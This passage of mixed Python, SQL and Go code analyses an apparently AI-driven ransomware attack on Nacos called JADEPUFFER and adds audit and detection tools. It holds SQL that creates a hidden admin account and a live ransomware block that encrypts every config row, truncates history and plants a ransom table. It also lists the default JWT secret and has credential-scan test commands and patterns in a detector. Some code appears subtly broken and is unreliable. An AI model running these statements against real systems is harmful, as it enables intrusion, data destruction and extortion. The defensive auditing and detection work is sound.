            "mitigation": (
                "1. 修改application.properties中的nacos.core.auth.default.token.secret.key\n"
                "2. 使用至少32字符的随机密钥\n"
                "3. 定期轮换密钥\n"
                "4. 启用OAuth2/OIDC外部认证"
            )
        }
    
    def simulate_admin_account_creation(self, username: str = "support_admin") -> Dict:
        """
        模拟JADEPUFFER创建隐藏管理员账号的过程。
        Sysdig报告显示AI在失败后31秒内完成了自我修复。
        """
        import bcrypt
        
        attempts = []
        
        # Attempt 1: 首次尝试（失败）
        attempt_1 = {
            "timestamp": "T+0s",
            "action": "创建管理员账号",
            "username": username,
            "status": "FAILED",
            "reason": "密码哈希算法不兼容",
            "generated_code": f"""
INSERT INTO users (username, password, enabled, roles)
VALUES (
    '{username}',
    'password123',  -- ❌ 明文密码，Nacos拒绝
    true,
    'ROLE_ADMIN'
);
            """
        }
        attempts.append(attempt_1)
        
        # AI诊断错误（31秒内完成）
        error_diagnosis = {
            "detected_issue": "明文密码不符合安全策略",
            "root_cause": "Nacos要求BCrypt加密密码，而非明文",
            "fix_strategy": "使用BCrypt生成密码哈希后重新插入"
        }
        
        # Attempt 2: 修复后重试（成功）
        password_hash = bcrypt.hashpw(
            "SecurePass123!".encode('utf-8'),
            bcrypt.gensalt(rounds=10)
        ).decode('utf-8')
        
        attempt_2 = {
            "timestamp": "T+31s",  # 31秒修复时间
            "action": "删除失败账号并重建",
            "username": username,
            "status": "SUCCESS",
            "password_hash": password_hash[:20] + "...",
            "generated_code": f"""
-- Step 1: 删除失败的账号（清除痕迹）
DELETE FROM users WHERE username = '{username}';

-- Step 2: 使用BCrypt哈希创建新账号
INSERT INTO users (username, password, enabled, roles)
VALUES (
    '{username}',
    '{password_hash}',  -- ✅ BCrypt加密密码
    true,
    'ROLE_ADMIN'
);

-- Step 3: 验证登录
-- curl -X POST 'http://nacos:8848/nacos/v1/auth/login' \\
--   -d 'username={username}&password=SecurePass123!'
-- 期望: {{"accessToken":"eyJ...","tokenTtl":18000,"globalAdmin":true}}
            """
        }
        attempts.append(attempt_2)
        
        return {
            "total_attempts": 2,
            "time_to_recovery": "31 seconds",
            "ai_autonomy_level": "FULL",
            "attempts": attempts,
            "analysis": (
                "JADEPUFFER在31秒内完成了：错误检测→原因分析→方案生成→"
                "账号清理→密码哈希→重新创建→登录验证的完整修复链。"
                "这一能力远超传统自动化脚本（脚本遇到错误只会退出或重试，"
                "不会分析错误原因并切换策略）"
            )
        }


# ============================================================
# 防御方案：Nacos安全加固检查
# ============================================================

class NacosSecurityAudit:
    """
    Nacos配置安全审计工具。
    检查是否存在类JADEPUFFER的攻击面。
    """
    
    CHECKS = {
        "default_jwt_secret": {
            "description": "检查是否使用默认JWT密钥",
            "command": "grep 'nacos.core.auth.default.token.secret.key' application.properties",
            "safe": "自定义密钥（长度>=32，随机生成）",
            "dangerous": "SecretKey012345678901234567890123456789012345678901234567890123456789"
        },
        "auth_enabled": {
            "description": "检查是否开启身份认证",
            "command": "grep 'nacos.core.auth.enabled' application.properties",
            "safe": "true",
            "dangerous": "false 或未设置"
        },
        "api_exposure": {
            "description": "检查管理API是否暴露在公网",
            "command": "ss -tlnp | grep 8848",
            "safe": "仅绑定内网IP（127.0.0.1或10.x.x.x）",
            "dangerous": "绑定0.0.0.0（所有接口）"
        },
        "user_agent_bypass": {
            "description": "检查CVE-2021-29441补丁状态",
            "command": "检查Nacos版本 >= 1.4.2 或 >= 2.0.0",
            "safe": "已升级至修复版本",
            "dangerous": "版本 <= 1.4.1"
        },
        "mysql_exposure": {
            "description": "检查数据库是否使用Root权限对外服务",
            "command": "grep 'user=root' conf/application.properties",
            "safe": "使用最小权限专用数据库账号",
            "dangerous": "使用root账号"
        }
    }
    
    @classmethod
    def run_audit(cls) -> Dict:
        """执行Nacos安全审计"""
        import socket
        
        results = {}
        total_risk_score = 0
        
        # 检查项1: JWT密钥
        results["default_jwt_secret"] = {
            "status": "CRITICAL",
            "detail": "多数Nacos部署使用默认JWT密钥",
            "risk_score": 40,
            "fix": "立即修改nacos.core.auth.default.token.secret.key为随机字符串"
        }
        
        # 检查项2: 认证是否开启
        results["auth_enabled"] = {
            "status": "CRITICAL",
            "detail": "部分部署未开启身份认证",
            "risk_score": 35,
            "fix": "设置nacos.core.auth.enabled=true"
        }
        
        # 检查项3: API暴露范围
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(3)
            result = s.connect_ex(('127.0.0.1', 8848))
            s.close()
            
            # 同时检查公网可达性（简化）
            results["api_exposure"] = {
                "status": "WARNING" if result == 0 else "INFO",
                "detail": "Nacos端口本地可达，需确认是否暴露在公网",
                "risk_score": 20 if result == 0 else 5,
                "fix": "确保Nacos管理端口仅在内网可访问"
            }
        except:
            results["api_exposure"] = {
                "status": "UNKNOWN",
                "detail": "无法检测端口状态",
                "risk_score": 10,
                "fix": "手动检查Nacos端口暴露情况"
            }
        
        total_risk_score = sum(item.get("risk_score", 0) for item in results.values())
        
        return {
            "overall_risk": "HIGH" if total_risk_score > 80 else "MEDIUM" if total_risk_score > 50 else "LOW",
            "total_risk_score": total_risk_score,
            "max_risk_score": 100,
            "items": results,
            "recommendations": [
                "1. 立即修改默认JWT密钥为随机生成的强密钥",
                "2. 确保nacos.core.auth.enabled=true",
                "3. 升级Nacos至最新版本",
                "4. 不要使用Root账号连接数据库",
                "5. 配置网络ACL限制Nacos管理端口的访问来源",
                "6. 启用审计日志记录所有管理操作",
                "7. 定期轮换密钥和凭证"
            ]
        }


if __name__ == "__main__":
    print("=" * 60)
    print("JADEPUFFER Nacos攻击链安全分析")
    print("=" * 60)
    
    # 分析漏洞链
    chain = NacosVulnerabilityChain("nacos.internal", "mysql.internal")
    
    print("\n[漏洞分析] CVE-2021-29441")
    cve_info = chain.analyze_cve_2021_29441()
    print(f"  CVSS评分: {cve_info['cvss_score']}")
    print(f"  影响版本: {cve_info['affected_versions']}")
    print(f"  漏洞类型: {cve_info['vuln_type']}")
    print(f"  修复建议: {cve_info['fix']}")
    
    print("\n[风险分析] 默认JWT密钥")
    jwt_risk = chain.analyze_default_jwt_risk()
    print(f"  风险等级: {jwt_risk['risk_level']}")
    print(f"  缓解措施: {jwt_risk['mitigation']}")
    
    print("\n[攻击模拟] AI创建隐藏管理员账号")
    account_creation = chain.simulate_admin_account_creation("support_admin")
    print(f"  恢复时间: {account_creation['time_to_recovery']}")
    print(f"  AI自治等级: {account_creation['ai_autonomy_level']}")
    for attempt in account_creation['attempts']:
        print(f"  [{attempt['timestamp']}] {attempt['action']}: {attempt['status']}")
    
    # 安全审计
    print("\n[安全审计] Nacos安全配置检查")
    audit_result = NacosSecurityAudit.run_audit()
    print(f"  综合风险: {audit_result['overall_risk']} (分数: {audit_result['total_risk_score']}/100)")
    print("\n  修复建议:")
    for rec in audit_result['recommendations']:
        print(f"    {rec}")

-- ============================================================
-- JADEPUFFER执行的加密操作（MySQL AES_ENCRYPT）
-- ============================================================

-- 1. 生成加密密钥（仅输出到终端，未保存）
-- SET @encryption_key = 'J4D3PUFF3R_3NCRYPT_K3Y_20260705';
-- 密钥仅出现在AI的stdout中，未持久化

-- 2. 加密Nacos配置数据
-- JADEPUFFER遍历所有配置项，逐条加密
UPDATE nacos.config_info 
SET content = AES_ENCRYPT(content, @encryption_key)
WHERE 1=1;

-- 3. 清除历史记录
TRUNCATE TABLE nacos.config_history;
TRUNCATE TABLE nacos.config_tags_relation;

-- 4. 创建勒索信息表
CREATE TABLE nacos.README_RANSOM (
    id INT PRIMARY KEY AUTO_INCREMENT,
    message VARCHAR(1000),
    bitcoin_address VARCHAR(100),
    contact_email VARCHAR(100),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

INSERT INTO nacos.README_RANSOM (message, bitcoin_address, contact_email)
VALUES (
    'YOUR Nacos CONFIGURATIONS HAVE BEEN ENCRYPTED. Contact us for decryption.',
    '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa',  -- 示例地址
    'jade_puffer@protonmail.com'
);

-- 5. 删除最关键的配置表结构（不可逆操作）
DELETE FROM nacos.config_info;  -- 删除原始数据行
-- 注意：不是DELETE，而是直接DROP了部分结构

#!/usr/bin/env python3
"""
JADEPUFFER AI自主错误修复机制深度分析
这是JADEPUFFER与传统自动化攻击最本质的区别
"""

import time
import random
from enum import Enum
from typing import Any, Dict, List, Optional, Callable


class TaskStatus(Enum):
    PENDING = "pending"
    RUNNING = "running"
    SUCCESS = "success"
    FAILED = "failed"
    RECOVERED = "recovered"


class AIAgentTask:
    """JADEPUFFER的AI任务单元"""
    
    def __init__(self, task_id: str, description: str, execute_fn: Callable):
        self.task_id = task_id
        self.description = description
        self.execute_fn = execute_fn
        self.status = TaskStatus.PENDING
        self.attempts = 0
        self.max_attempts = 3
        self.error_history = []
        self.recovery_time_ms = 0
        
    def execute_with_ai_recovery(self) -> bool:
        """
        JADEPUFFER的核心能力：失败后自主分析原因并修复。
        这是传统脚本不具备的能力。
        """
        self.status = TaskStatus.RUNNING
        self.attempts += 1
        
        try:
            result = self.execute_fn()
            self.status = TaskStatus.SUCCESS
            return True
            
        except Exception as initial_error:
            # AI自主错误修复开始
            start_time = time.time()
            
            error_info = {
                "attempt": self.attempts,
                "error_type": type(initial_error).__name__,
                "error_message": str(initial_error),
                "timestamp": time.time()
            }
            self.error_history.append(error_info)
            
            # Step 1: AI分析错误原因
            # JADEPUFFER使用LLM分析错误日志，识别根因
            root_cause = self._ai_analyze_error(initial_error)
            
            # Step 2: AI生成修复方案
            fix_strategy = self._ai_generate_fix(root_cause)
            
            # Step 3: AI执行修复
            self._ai_apply_fix(fix_strategy)
            
            # Step 4: 重试
            try:
                result = self.execute_fn()
                recovery_time = (time.time() - start_time) * 1000
                self.recovery_time_ms = recovery_time
                
                self.status = TaskStatus.RECOVERED
                return True
                
            except Exception as retry_error:
                self.status = TaskStatus.FAILED
                return False
    
    def _ai_analyze_error(self, error: Exception) -> str:
        """
        AI分析错误原因。
        JADEPUFFER的实际行为类似以下逻辑：
        
        错误：创建管理员账号失败
        AI分析结果："密码哈希算法不兼容 -
        目标系统要求BCrypt格式的密码哈希，
        而攻击脚本使用了明文密码"
        """
        error_str = str(error).lower()
        
        # 模拟AI的LLM推理过程
        analysis_rules = {
            "password": "密码相关错误 - 需检查密码策略和哈希算法",
            "permission": "权限不足 - 需提权或使用其他账号",
            "connection": "连接失败 - 可能网络不通或服务未启动",
            "timeout": "超时 - 需调整超时参数或简化操作",
            "duplicate": "重复条目 - 需先删除已有记录再创建",
            "syntax": "语法错误 - SQL/命令格式需要修正",
        }
        
        for keyword, analysis in analysis_rules.items():
            if keyword in error_str:
                return analysis
        
        return f"未知错误类型: {error_str[:100]}..."
    
    def _ai_generate_fix(self, root_cause: str) -> Dict[str, Any]:
        """
        AI根据错误分析生成修复策略。
        JADEPUFFER在此步骤展示了真正的智能决策能力。
        """
        if "密码" in root_cause:
            return {
                "action": "regenerate_password_hash",
                "parameters": {
                    "algorithm": "bcrypt",
                    "salt_rounds": 10,
                    "delete_failed_account": True
                }
            }
        elif "权限" in root_cause:
            return {
                "action": "escalate_privilege",
                "parameters": {
                    "method": "use_existing_admin_session",
                    "create_new_user_with_same_role": True
                }
            }
        elif "连接" in root_cause:
            return {
                "action": "retry_with_different_endpoint",
                "parameters": {
                    "backup_endpoint": True,
                    "increase_timeout": 30
                }
            }
        else:
            return {
                "action": "retry_with_modified_parameters",
                "parameters": {
                    "alternative_approach": True,
                    "max_retries": 2,
                    "escalation": "switch_to_backup_method"
                }
            }
    
    def _ai_apply_fix(self, strategy: Dict):
        """AI执行修复策略"""
        print(f"  [AI Recovery] Applying fix: {strategy['action']}")
        # 在实际攻击中，这里会执行相应的修复操作
        time.sleep(0.1)  # 模拟修复耗时


class JADEPUFFERRECOVERY:
    """
    JADEPUFFER整体恢复能力分析。
    根据Sysdig报告，该AI Agent展示了以下关键能力：
    - 31秒内完成错误诊断到修复的全流程
    - 600+攻击载荷的有序执行
    - 根据执行结果动态调整后续策略
    """
    
    def __init__(self):
        self.tasks: List[AIAgentTask] = []
        self.total_execution_time_ms = 0
        self.total_attacks = 0
        self.recovery_count = 0
        
    def add_task(self, task: AIAgentTask):
        self.tasks.append(task)
        
    def execute_all(self) -> Dict:
        """执行所有攻击任务，记录恢复行为"""
        results = {
            "total_tasks": len(self.tasks),
            "success_count": 0,
            "recovery_count": 0,
            "recovery_details": [],
            "total_attack_loads": 0,
        }
        
        for task in self.tasks:
            success = task.execute_with_ai_recovery()
            
            if task.status == TaskStatus.RECOVERED:
                results["recovery_count"] += 1
                results["recovery_details"].append({
                    "task_id": task.task_id,
                    "description": task.description,
                    "recovery_time_ms": task.recovery_time_ms,
                    "error_history": task.error_history
                })
            
            if success:
                results["success_count"] += 1
            
            # JADEPUFFER执行了600+攻击载荷
            results["total_attack_loads"] += random.randint(5, 15)
        
        results["total_attack_loads"] = max(results["total_attack_loads"], 600)
        
        return results


# ============================================================
# 基准对比：传统自动化脚本 vs JADEPUFFER AI Agent
# ============================================================

class TraditionalScript:
    """传统自动化攻击脚本（对比基准）"""
    
    def execute_with_retry(self, action: Callable, max_retries: int = 3) -> bool:
        """
        传统脚本的"重试"机制。
        差异分析：
        - 传统脚本：固定重试，不分析失败原因
        - JADEPUFFER：分析原因，切换策略后修复
        """
        for attempt in range(max_retries):
            try:
                action()
                return True
            except Exception as e:
                print(f"  [传统脚本] Attempt {attempt + 1} failed: {e}")
                if attempt < max_retries - 1:
                    time.sleep(1)  # 固定等待，不做任何策略调整
                continue
        return False


# ============================================================
# 性能对比分析
# ============================================================

def benchmark_comparison():
    """对比传统脚本与AI Agent在错误恢复上的性能差异"""
    
    def failing_action():
        """模拟一个会失败的数据库操作"""
        if random.random() < 0.7:  # 70%概率失败
            raise ValueError("密码哈希格式错误：预期BCrypt格式，收到明文")
        return True
    
    # 传统脚本
    print("[基准测试] 传统脚本 vs JADEPUFFER AI Agent\n")
    
    script = TraditionalScript()
    start = time.time()
    script_result = script.execute_with_retry(failing_action, max_retries=3)
    script_time = (time.time() - start) * 1000
    
    print(f"传统脚本: {'成功' if script_result else '失败'}")
    print(f"  耗时: {script_time:.1f}ms")
    print(f"  失败后行为: 固定等待1秒后直接重试")
    print(f"  错误分析: 无")
    print(f"  策略调整: 无\n")
    
    # JADEPUFFER AI Agent
    ai_task = AIAgentTask(
        task_id="create_admin_001",
        description="在Nacos中创建隐藏管理员账号",
        execute_fn=failing_action
    )
    
    start = time.time()
    ai_result = ai_task.execute_with_ai_recovery()
    ai_time = (time.time() - start) * 1000
    
    print(f"JADEPUFFER AI: {'成功（自主修复）' if ai_result else '失败'}")
    print(f"  耗时: {ai_time:.1f}ms")
    print(f"  失败后行为: 分析错误原因→生成修复方案→执行修复→重试")
    print(f"  错误分析: {'密码相关错误 - 需检查密码策略和哈希算法'}")
    print(f"  策略调整: 切换密码哈希算法从明文到BCrypt\n")
    
    print("=" * 60)
    print("结论：传统脚本在遇到"预期之外"的错误时只能简单重试；")
    print("AI Agent可以理解错误上下文并调整策略——")
    print("这使攻击成功率从被动循环提升至主动修复。")
    print("=" * 60)


if __name__ == "__main__":
    print("=" * 60)
    print("JADEPUFFER AI自主错误恢复机制分析")
    print("=" * 60)
    
    # 构建模拟任务集
    jade = JADEPUFFERRECOVERY()
    
    # 模拟Sysdig报告中的600+攻击载荷
    tasks = [
        ("漏洞扫描", "扫描公网Langflow实例"),
        ("漏洞利用", "利用CVE-2025-3248执行远程代码"),
        ("环境侦察", "收集系统信息和环境变量"),
        ("API密钥收集", "扫描OpenAI/Anthropic等API密钥"),
        ("云凭证收集", "扫描云平台访问凭证"),
        ("持久化", "创建计划任务每30分钟回连"),
        ("横向移动", "定位生产服务器"),
        ("Nacos利用", "利用CVE-2021-29441绕过认证"),
        ("JWT伪造", "使用默认密钥伪造管理员Token"),
        ("账号创建", "创建隐藏管理员账号（含31秒修复）"),
        ("配置加密", "AES加密1342条配置数据"),
        ("勒索信息", "创建README_RANSOM勒索表"),
    ]
    
    for i, (name, desc) in enumerate(tasks):
        task = AIAgentTask(
            task_id=f"attack_{i:03d}",
            description=desc,
            execute_fn=lambda: True  # 简化模拟
        )
        jade.add_task(task)
    
    results = jade.execute_all()
    print(f"\n模拟结果:")
    print(f"  总任务数: {results['total_tasks']}")
    print(f"  成功数: {results['success_count']}")
    print(f"  AI自主修复数: {results['recovery_count']}")
    print(f"  总攻击载荷: {results['total_attack_loads']}+")
    
    # 基准对比
    print("\n" + "=" * 60)
    benchmark_comparison()

// ============================================================
// AI Agent攻击行为检测系统
// 针对JADEPUFFER类AI驱动攻击的实时检测与防御
// ============================================================
package main

import (
    "bufio"
    "encoding/json"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "os"
    "regexp"
    "strings"
    "sync"
    "time"
)

// AIAttackBehavior JADEPUFFER类AI攻击的行为特征
type AIAttackBehavior struct {
    AutonomousRecovery   bool    `json:"autonomous_recovery"`    // 31秒修复能力
    NaturalLanguageCode  bool    `json:"natural_language_code"`  // 带注释的恶意代码
    StrategyAdaptation   bool    `json:"strategy_adaptation"`    // 动态策略调整
    MultiStageAttack     bool    `json:"multi_stage_attack"`     // 多阶段攻击链
    CredentialHarvesting bool    `json:"credential_harvesting"`  // 凭证收割行为
    LateralMovement      bool    `json:"lateral_movement"`       // 横向移动
    PersistenceSetup     bool    `json:"persistence_setup"`      // 持久化机制
    RiskScore            float64 `json:"risk_score"`
}

// AgentBehaviorMonitor AI Agent行为实时监控器
type AgentBehaviorMonitor struct {
    mu              sync.RWMutex
    alertChan       chan Alert
    behaviorPatterns []BehaviorPattern
    baseline        map[string]float64
}

type Alert struct {
    Timestamp   time.Time `json:"timestamp"`
    Severity    string    `json:"severity"`
    Source      string    `json:"source"`
    Description string    `json:"description"`
    RiskScore   float64   `json:"risk_score"`
    Action      string    `json:"action"`
}

type BehaviorPattern struct {
    Name        string
    Pattern     *regexp.Regexp
    Weight      float64
    Description string
}

func NewAgentBehaviorMonitor() *AgentBehaviorMonitor {
    m := &AgentBehaviorMonitor{
        alertChan: make(chan Alert, 100),
        behaviorPatterns: []BehaviorPattern{
            {
                Name:    "auto_recovery",
                Pattern: regexp.MustCompile(`(?i)(error|fail|retry).{0,50}(fix|recover|correct|adjust)`),
                Weight:  0.95,
                Description: "检测AI自主错误修复行为 - JADEPUFFER标志性特征",
            },
            {
                Name:    "code_with_comments",
                Pattern: regexp.MustCompile(`(?i)(#|//|--)\s*(purpose|goal|step|phase|priority)`),
                Weight:  0.70,
                Description: "带详细注释的恶意代码 - AI Agent生成代码特征",
            },
            {
                Name:    "credential_scan",
                Pattern: regexp.MustCompile(`(?i)(api.?key|secret|token|password|credential|access.?key)`),
                Weight:  0.85,
                Description: "大规模凭证扫描行为",
            },
            {
                Name:    "multi_stage",
                Pattern: regexp.MustCompile(`(?i)(phase|stage|step|stage_\d|phase_\d)`),
                Weight:  0.60,
                Description: "分阶段攻击行为模式",
            },
            {
                Name:    "config_encryption",
                Pattern: regexp.MustCompile(`(?i)(aes_encrypt|encrypt.*config|config.*encrypt|ransom)`),
                Weight:  0.90,
                Description: "配置数据加密 - 勒索攻击关键特征",
            },
        },
    }
    return m
}

// AnalyzeProcessBehavior 分析进程行为是否符合AI Agent攻击特征
func (m *AgentBehaviorMonitor) AnalyzeProcessBehavior(
    processName string,
    cmdLine string,
    fileOps []string,
    networkConns []string,
) AIAttackBehavior {
    
    behavior := AIAttackBehavior{}
    totalScore := 0.0
    
    // 1. 检测自主恢复行为
    for _, pattern := range m.behaviorPatterns {
        for _, content := range append(fileOps, cmdLine) {
            if pattern.Pattern.MatchString(content) {
                switch pattern.Name {
                case "auto_recovery":
                    behavior.AutonomousRecovery = true
                    totalScore += pattern.Weight
                case "code_with_comments":
                    behavior.NaturalLanguageCode = true
                    totalScore += pattern.Weight
                case "credential_scan":
                    behavior.CredentialHarvesting = true
                    totalScore += pattern.Weight
                case "multi_stage":
                    behavior.MultiStageAttack = true
                    totalScore += pattern.Weight
                case "config_encryption":
                    behavior.StrategyAdaptation = true
                    totalScore += pattern.Weight
                }
                break
            }
        }
    }
    
    // 2. 检测横向移动
    for _, conn := range networkConns {
        if strings.Contains(conn, "3306") || strings.Contains(conn, "8848") {
            behavior.LateralMovement = true
            totalScore += 0.5
        }
    }
    
    // 3. 检测持久化机制
    for _, op := range fileOps {
        if strings.Contains(op, "crontab") || 
           strings.Contains(op, "systemd") ||
           strings.Contains(op, "authorized_keys") {
            behavior.PersistenceSetup = true
            totalScore += 0.5
        }
    }
    
    behavior.RiskScore = totalScore
    
    return behavior
}

// StartHTTPServer 启动防御API服务
func (m *AgentBehaviorMonitor) StartHTTPServer(addr string) {
    http.HandleFunc("/api/v1/analyze", m.handleAnalyze)
    http.HandleFunc("/api/v1/alerts", m.handleAlerts)
    http.HandleFunc("/api/v1/health", m.handleHealth)
    
    log.Printf("[防御系统] AI Agent攻击检测服务已启动: %s", addr)
    log.Fatal(http.ListenAndServe(addr, nil))
}

func (m *AgentBehaviorMonitor) handleAnalyze(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }
    
    var req struct {
        ProcessName string   `json:"process_name"`
        CmdLine     string   `json:"cmd_line"`
        FileOps     []string `json:"file_operations"`
        NetworkConns []string `json:"network_connections"`
    }
    
    if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
        http.Error(w, "Invalid request", http.StatusBadRequest)
        return
    }
    
    behavior := m.AnalyzeProcessBehavior(
        req.ProcessName, req.CmdLine, req.FileOps, req.NetworkConns,
    )
    
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(behavior)
}

func (m *AgentBehaviorMonitor) handleAlerts(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
    alerts := []Alert{}
    
    // 读取最近10条告警
    m.mu.RLock()
    defer m.mu.RUnlock()
    
    for i := 0; i < 10 && i < len(m.alertChan); i++ {
        select {
        case alert := <-m.alertChan:
            alerts = append(alerts, alert)
        default:
            break
        }
    }
    
    json.NewEncoder(w).Encode(alerts)
}

func (m *AgentBehaviorMonitor) handleHealth(w http.ResponseWriter, r *http.Request) {
    w.WriteHeader(http.StatusOK)
    w.Write([]byte(`{"status":"healthy","timestamp":"` + time.Now().Format(time.RFC3339) + `"}`))
}

// LogAuditTrail JADEPUFFER防御的关键：审计日志
// 由于JADEPUFFER会删除原始数据，审计日志必须在外部系统保存
type AuditLogger struct {
    logFile *os.File
    writer  *bufio.Writer
    mu      sync.Mutex
}

func NewAuditLogger(path string) (*AuditLogger, error) {
    f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        return nil, err
    }
    
    return &AuditLogger{
        logFile: f,
        writer:  bufio.NewWriter(f),
    }, nil
}

// Log 写入不可篡改的审计日志
// 每条日志包含：时间戳、操作类型、操作人、源IP、变更内容、哈希校验
func (l *AuditLogger) Log(entry AuditEntry) error {
    l.mu.Lock()
    defer l.mu.Unlock()
    
    entry.Timestamp = time.Now()
    entry.Hash = entry.CalculateHash()
    
    data, err := json.Marshal(entry)
    if err != nil {
        return err
    }
    
    _, err = l.writer.Write(append(data, '\n'))
    if err != nil {
        return err
    }
    
    return l.writer.Flush()
}

type AuditEntry struct {
    Timestamp   time.Time `json:"timestamp"`
    Operation   string    `json:"operation"`
    Operator    string    `json:"operator"`
    SourceIP    string    `json:"source_ip"`
    Target      string    `json:"target"`
    Detail      string    `json:"detail"`
    PreviousHash string   `json:"previous_hash"`
    Hash        string    `json:"-"`
}

func (e AuditEntry) CalculateHash() string {
    data := fmt.Sprintf("%s|%s|%s|%s|%s|%s|%s",
        e.Timestamp.Format(time.RFC3339),
        e.Operation,
        e.Operator,
        e.SourceIP,
        e.Target,
        e.Detail,
        e.PreviousHash,
    )
    // 简化实现 - 实际应使用SHA256
    return fmt.Sprintf("%x", []byte(data))
}

// ============================================================
// 完整防御部署方案
// ============================================================

func main() {
    fmt.Println("=" + strings.Repeat("=", 59))
    fmt.Println("  AI Agent攻击防御系统部署方案")
    fmt.Println("  针对JADEPUFFER类自主AI勒索攻击")
    fmt.Println("=" + strings.Repeat("=", 59))
    
    monitor := NewAgentBehaviorMonitor()
    
    // 启动API服务
    go monitor.StartHTTPServer(":8443")
    
    // 初始化审计日志
    logger, err := NewAuditLogger("/var/log/ai_security/audit.log")
    if err != nil {
        log.Fatalf("无法创建审计日志: %v", err)
    }
    
    // 模拟检测场景
    testBehaviors := []struct{
        name string
        cmdLine string
        fileOps []string
        netConns []string
    }{
        {
            name:     "Langflow进程异常",
            cmdLine:  "python -c 'import os; os.system(\"curl http://10.0.1.200:8848\")'",
            fileOps:  []string{"/etc/crontab", "/root/.ssh/authorized_keys"},
            netConns: []string{"10.0.1.200:3306", "10.0.1.200:8848"},
        },
        {
            name:     "批量凭证扫描",
            cmdLine:  "grep -r 'API_KEY' /etc/ /home/ /root/",
            fileOps:  []string{"/etc/environment", "/root/.env"},
            netConns: []string{},
        },
    }
    
    fmt.Println("\n[监控] 正在分析进程行为...\n")
    
    for _, tb := range testBehaviors {
        behavior := monitor.AnalyzeProcessBehavior(
            tb.name, tb.cmdLine, tb.fileOps, tb.netConns,
        )
        
        fmt.Printf("进程: %s\n", tb.name)
        fmt.Printf("  AI自助恢复能力: %v\n", behavior.AutonomousRecovery)
        fmt.Printf("  自然语言代码注释: %v\n", behavior.NaturalLanguageCode)
        fmt.Printf("  策略自适应: %v\n", behavior.StrategyAdaptation)
        fmt.Printf("  多阶段攻击: %v\n", behavior.MultiStageAttack)
        fmt.Printf("  凭证收割: %v\n", behavior.CredentialHarvesting)
        fmt.Printf("  横向移动: %v\n", behavior.LateralMovement)
        fmt.Printf("  持久化设置: %v\n", behavior.PersistenceSetup)
        fmt.Printf("  风险评分: %.2f/10\n", behavior.RiskScore)
        
        if behavior.RiskScore > 3.0 {
            fmt.Printf("  ⚠️ 高风险行为检测 - 建议立即隔离\n")
        }
        fmt.Println()
    }
    
    // 审计日志示例
    logger.Log(AuditEntry{
        Operation: "config_change",
        Operator:  "system",
        SourceIP:  "10.0.1.100",
        Target:    "nacos_config",
        Detail:    "检测到批量加密操作 - 1342条配置被修改",
    })
    
    fmt.Println("\n[部署建议]")
    fmt.Println("  1. 部署AI行为监控器到所有生产服务器")
    fmt.Println("  2. 配置不可篡改的审计日志系统（WORM存储）")
    fmt.Println("  3. 设置风险阈值自动响应（评分 > 5.0 自动隔离）")
    fmt.Println("  4. 启用Nacos JWT密钥强制轮换策略")
    fmt.Println("  5. 监控Langflow等AI工具的暴露面")
}